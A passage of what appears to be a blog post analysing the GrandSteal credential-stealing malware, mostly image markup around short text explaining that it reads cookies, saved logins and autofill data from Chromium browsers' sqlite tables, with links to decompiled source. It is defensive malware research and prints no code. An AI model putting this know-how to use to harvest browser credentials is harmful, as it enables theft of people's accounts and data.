https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjtWhmImkQlgcjVFYaFBMRU2VV_jlx_jFsh1amFx8G6S2uX5yYyS6fBpTFtcUNP32TwaCSVZIiFGvscGisuBmufAEQMuSWnUdec5OIMyOrXMjhmxGXabjY6X9zHEDmHlSOtd_6bbR3CPHk/s1600/assemblies.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> GrandSteal.* are the main modules of the malware. I uploaded the decompiled code for these modules to my <a href="https://github.com/p3pperp0tts/malware_decompiled_code/tree/master/GrandSteal">GitHub</a>. Additionally the malware carries some libraries that it will need.</p><h4>2.2. Stealer</h4><p> The malware contains code to steal credentials from different products:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:null,&quot;width&quot;:null,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhv35irMVa1KiwWUEsUMFGV2LildpungoMjZ-NruLfkWsVGNplfhALJ7Uh1zV-PNQS9UmLH41Z6e7Tm0hvp47j8lYa6MpTXgmJa_F0ovJH9erca3HSPAVbKJrR0fxbw0oTsnfimYH41gsw/s1600/stealer.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>2.2.1. Chromium Stealer</p><p> The malware is able to steal different information from Chromium Browsers:</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png" width="400" height="156" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:156,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEioVa9X85mepRDWCcy65DGIE3O_uoOFdWwPGqRd4Pok4rkxdtkqlKsxAW8agw2eqq77XnOppIPvqYWvB6AAzRnAystVjE3RMjvZZqEZA1ut_myd6IBA2PQ0jqczIUv-6-1MnExJmfRGQIE/s400/chromium.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p> The source code related to this functionality is <a href="https://github.com/p3pperp0tts/malware_decompiled_code/blob/master/GrandSteal/GrandSteal.Client.Data/GrandSteal.Client.Data/Recovery/ChromiumManager.cs">ChromiumManager.cs</a>.</p><p> The malware steals all the Chromium's information from the browser's sqlite database.</p><p>2.2.1.1. Cookies</p><p> It reads the cookies table from the sqlite database.</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png" width="400" height="175" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:175,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9CxwJCPiOp954Pj6OzPptkInxZS4fmc23ljvv06Q1knKGSv_-cnIrr18v69htgof7ErSetZZMDa3-ME5X7bNMAW2VgePNbLyownvCyLBpprkcNBakLMHn-J6K_ZvwBekG4kQ7DBibDk/s400/chromium.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>2.2.1.2. Credentials</p><p> It reads the logins table from the sqlite database.</p><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png" width="400" height="173" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:173,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixJPfpmlaGR0sTaYP7512nMldXCZ3KdUitL7yFdNUPtrqqXx_MAEsK7C8nlg0xsTzl7mEr_sfRPBE2FMUWKbd9YwEuv0ThNlc9TZKqKiOIIZOiWT3i0zqZlDkyBE3FC8ucAa3bqoKtY08/s400/chromium.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><a class="image-link image2" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png 1456w" sizes="100vw"><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png" width="400" height="67" data-attrs="{&quot;src&quot;:&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:67,&quot;width&quot;:400,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:null,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:null,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLGC6zLbP7BAzmeKmPAzmIli6v-xYA5iFtyxUDG3xl1axwaQeOe9jZB_Brx9ZU66ZjqcQGd8k1UhXFz5o2XzNRHNVYAd5cponKKwCJvvCf8N_F1ZZ2BnqMmAfKBfq0hkopxubKbLLgocM/s400/chromium.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a><p>2.2.1.3. Auto Fills</p><p> It reads the autofill table from the sqlite database.</p><a class="image-link image2 is-viewable-img" target="_blank" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png 424w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png 848w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png 1272w, https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg86enYToNGoqT4PcAI5tXSv_lcHdUF0ZyiEL85JmU5Sb9g5vdZZ8-md1P9wbnXCj7BORSvWr7Bw6naVWS_8klgbbs-hlEcw5-GhVPQJ9Edo_YIpf-kyyu3B7NO_jh_mmF57xVLrVVq5Nw/s400/chromium.png 1456w" 